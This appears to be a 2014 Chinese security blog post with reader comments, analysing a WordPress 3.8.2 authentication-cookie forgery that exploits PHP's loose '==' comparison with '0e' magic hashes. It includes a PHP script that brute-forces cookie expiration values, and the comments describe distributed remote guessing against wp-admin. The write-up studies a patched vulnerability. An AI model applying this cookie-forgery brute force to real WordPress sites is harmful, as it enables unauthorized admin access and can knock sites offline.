WordPress 3.8.2 cookie伪造漏洞再分析

donwa 2014-04-13 23:12:00

0x00 背景


看了WordPress 3.8.2补丁分析 HMAC timing attack,眼界大开,原来还可以利用时间差来判断HMAC。

但我总觉得这个漏洞并不是简单的修复这个问题。

查看了官方提供的资料:“该漏洞是由WordPress的安全团队成员Jon Cave发现。”。

也许漏洞还有这样利用的可能。

0x01 PHP的特性


当PHP在进行 ”==”,”!=”等非严格匹配的情况下,会按照值的实际情况,进行强制转换。

<?php
var_dump(0 == '0'); // true
var_dump(0 == 'abcdefg'); // true  
var_dump(0 === 'abcdefg'); // false
var_dump(1 == '1abcdef'); // true  
?>

当有一个对比参数是整数的时候,会把另外一个参数强制转换为整数。

0x02 分析修复的代码


官方版的diff只在php里改动了一个位置:

<?php
-  if ( $hmac != $hash ) {  
+  if ( hash_hmac( 'md5', $hmac, $key ) !== hash_hmac( 'md5', $hash, $key ) ) { 
?>

其中$hmac来源于cookies。是我们可控的一个输入参数。

<?php
Admin|1397564163|1f253e501c301bf5bf293c40d7d92ded
//$username = ‘Admin’;
//$expiration = 1397564163;
//$hmac = ‘1f253e501c301bf5bf293c40d7d92ded’;
?>

$hash是以下代码生成一个md5值。

<?php
$key = wp_hash($username . $pass_frag . '|' . $expiration, $scheme);
$hash = hash_hmac('md5', $username . '|' . $expiration, $key);
?>

$hmac == $hash时,登录成功。

那么,有几种情况会登录成功。

<?php
//第一种情况,完全相等。
$hmac = ‘1f253e501c301bf5bf293c40d7d92ded’;
$hash = ‘1f253e501c301bf5bf293c40d7d92ded’;
//第二种情况.第一位为数字,第二位为字母
$hmac = 1;
$hash = ‘1f253e501c301bf5bf293c40d7d92ded’;
//第三种情况。第一位为字母
$hmac = 0;
$hash = ‘af253e501c301bf5bf293c40d7d92ded’;
?>

很明显,第三种出现的情况非常大。

那么我们有没有可能把$hmac构造成一个整数0呢?

0x03 漏洞利用


我们看看cookie解析的代码:

<?php
    $cookie_elements = explode('|', $cookie);
    if ( count($cookie_elements) != 3 )
        return false;
    list($username, $expiration, $hmac) = $cookie_elements;
?>

当我们把cookie设置为:

Admin|1397564163|1

时。$hmac=’1’。但是,$hmac是字符串1,而不是整数1。

<?php
var_dump($hmac);//string(“1”);
?>

非常遗憾,这个漏洞是不能利用的。

难道官方修复的真的不是这个漏洞?

0x04 柳暗花明又一村


还有什么情况能让字符串识别成整数吗?是的,还有!

<?php
var_dump("0" == "0e1234567890123456...32"); // true
?>

‘e’会识别为次方,0的N次方为0;

所以,这个漏洞的利用方式还可以是: 让$hmac = ‘0’;

通过改变$expiration来改变$hash。获得一个,第一位为0,第二位为e,后面所有位为数字的$hash.

<?php
$hmac = ‘0’;
$hash = ‘0e1234567890123456...32;
var_dump($hmac == $hash);  // true
?>

0x05 攻击代码


本地测试代码(实际攻击代码应该是构造cookies远程请求):

<?php
    include( 'wp-load.php' );

    $user = get_userdata(1);
    $username = $user->user_login;
    $pass_frag = substr($user->user_pass, 8, 4);

    $expiration = 9999999999; //设置一个很大的过期时间,然后递减

    while($expiration >0){
        $key = wp_hash($username . $pass_frag . '|' . $expiration, 'auth');
        $hash = hash_hmac('md5', $username . '|' . $expiration, $key);
        if('0' == $hash OR '1'== $hash ){
            echo $expiration.'@'.$hash;
            file_put_contents('done.txt',$expiration.'@'.$hash);
            exit();
        }
        $expiration -= 1;//过期时间-1
        echo $expiration.'@'.$hash."\r\n";
    }
?>

通过改变过期时间,尝试碰撞到可以利用的hash。

按照理论值。碰撞到可以利用的$expiration几率是(2_1_10^30)/(16^32)。也就是5.8774717541114 * 10 -9。

理论上:把cookies设置成 “admin|碰撞到的过期时间|0”,就可以登陆后台了。

但是几率太小,还不如穷举密码了。

Ps:我本地跑了几个小时了,还没遇到一个。

评论

瞌睡龙 2014-04-13 23:30:00

作者应该是追寻这漏洞原作者博客找到的利用思路吧http://joncave.co.uk/,想法其实很不错的,之前也想到了,不过考虑到要求太高前两位必须是0e后面的必须都为数字。所以就没加上,原作者也贴出了此修复主要是为了防御timing attack的攻击方式。https://github.com/WordPress/WordPress/commit/78a915e0e5927cf413aa6c2cef2fca3dc587f8be 小伙伴研究精神值得鼓励 :)

I

insight-labs 2014-04-14 07:51:41

这个也比较靠谱,可以现在本地计算对应的cookie然后再使用,避免了一次次的远程尝试。

B

blue 2014-04-14 08:26:39

受教了,php真是门神奇的语言呐~

D

donwa 2014-04-14 08:45:09

可能我没没说清楚。必须远程尝试,因为$hash是根据用户的密码和AUTH_SALT 生成的。每个wordpress都是不同的。

D

donwa 2014-04-14 08:49:52

嗯,确实是看http://joncave.co.uk/,觉得这个漏洞应该是隐式转换的问题。没想到是timing attack。
概率确实低,理论上,上亿次才能碰撞到一个。。。。

I

insight-labs 2014-04-14 09:52:43

那这样的话远程5亿次……估计爆破密码可能更快点……

S

syjzwjj 2014-04-14 13:51:04

想请教一下那个$hmac具体是怎么得到的呢?

D

donwa 2014-04-14 15:31:07

登录wordpress后,会得到一个这样的cookie。最后那个类似md5的字符串就是hmac。可以自己伪造。
wordpress_logged_in_7065d11a793a3ec8482214fcc4f0a55b=admin|1397480887|1f253e501c301bf5bf293c40d7d92ded

S

syjzwjj 2014-04-14 18:18:20

这个是指登陆后台还是只要访问了wordpress就会有这个cookie啊?如果我不登陆后台的话可以知道这个hmac吗?是不是这个hmac为任意字符串都行的啊

E

Ettack 2014-04-14 20:00:05

我来比较下这个与爆破密码的请求次数:
爆破cookie概率 P=3.26526*10^-9 (算法见http://www.freebuf.com/vuls/31770.html)
爆破8位纯字母密码:P=1/26^8
因此平均3亿请求碰撞cookie,而需两千亿请求爆破仅仅八位的纯数字密码。
不知道我有没有算错。。。

E

Ettack 2014-04-14 20:04:55

另外作者说本地几个小时没跑出来,肯定是姿势不对,我之前测试了五六次基本都是在半小时内可以跑出来

S

syjzwjj 2014-04-14 20:12:25

可以分享一下你的测试代码吗,谢啦!

E

Ettack 2014-04-14 20:13:16

纯字母密码,哈哈,打错成纯数字了

E

Ettack 2014-04-14 20:26:15

作者的代码就可以測試,把調用wp_hash改為寫死key然後取hash可以優化一些,然後再分布式到三台電腦上一台一億很快就出來了。我是用python寫的,需要的話我回去發出來。我連多線程分布式遠程的程序都寫了,不過在測試我自己博客的過程中,很快就把自己博客D掛了,意義不大,哈哈

S

syjzwjj 2014-04-14 20:29:48

这么牛!还分布式!!代码发给我一份吧!邮箱:[email protected]/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-cfhash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-cfemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */,谢谢啦

I

insight-labs 2014-04-14 20:51:19

提交到/wp-admin/index.php
然后判断HTTP状态码是不是302跳转,这样发送接收的数据最少

E

Ettack 2014-04-14 21:21:08

@insight-labs 大牛正解,我寫的正好就是head請求到wp_admin/profile.php 然後判斷status code,儘量減少數據用量

D

donwa 2014-04-14 21:27:27

不管是3亿次还是2亿次还是1亿次。穷举密码是肯定出来了,这个就得靠运气了。
是个正常的blog肯定被D死。

X

xsser 2014-04-14 21:36:17

赞~~

路人甲 2014-04-15 16:55:30

这个的实战意义何在??
$pass_frag = substr($user->user_pass, 8, 4);
$key = wp_hash($username . $pass_frag . '|' . $expiration, 'auth');
$hash = hash_hmac('md5', $username . '|' . $expiration, $key);
hash除了和登录的用户,$expiration有关还和$key有关,而$key产生又和当前登录的密码有关,$pass_frag = substr($user->user_pass, 8, 4)
这样子,要算出满足条件的hash和$expiration,攻击者要要先登录并且知道$pass_frag???这样子的漏洞感觉不到任何实战价值

D

donwa 2014-04-15 19:36:09

没看到代码上面的备注吗?
本地测试代码(实际攻击代码应该是构造cookies远程请求)
代码只是想跑出一个hash来证明可以伪造cookie登录。

随机分类

XSS 文章:34 篇
前端安全 文章:29 篇
密码学 文章:13 篇
木马与病毒 文章:125 篇
安全开发 文章:83 篇

扫码关注公众号

WeChat Offical Account QRCode

最新评论

Article_kelp

因为这里的静态目录访功能应该理解为绑定在static路径下的内置路由,你需要用s

N

Nas

师傅您好!_static_url_path那 flag在当前目录下 通过原型链污

Z

zhangy

你好,为什么我也是用windows2016和win10,但是流量是smb3,加密

K

k0uaz

foniw师傅提到的setfge当在类的字段名成是age时不会自动调用。因为获取

Yukong

🐮皮

目录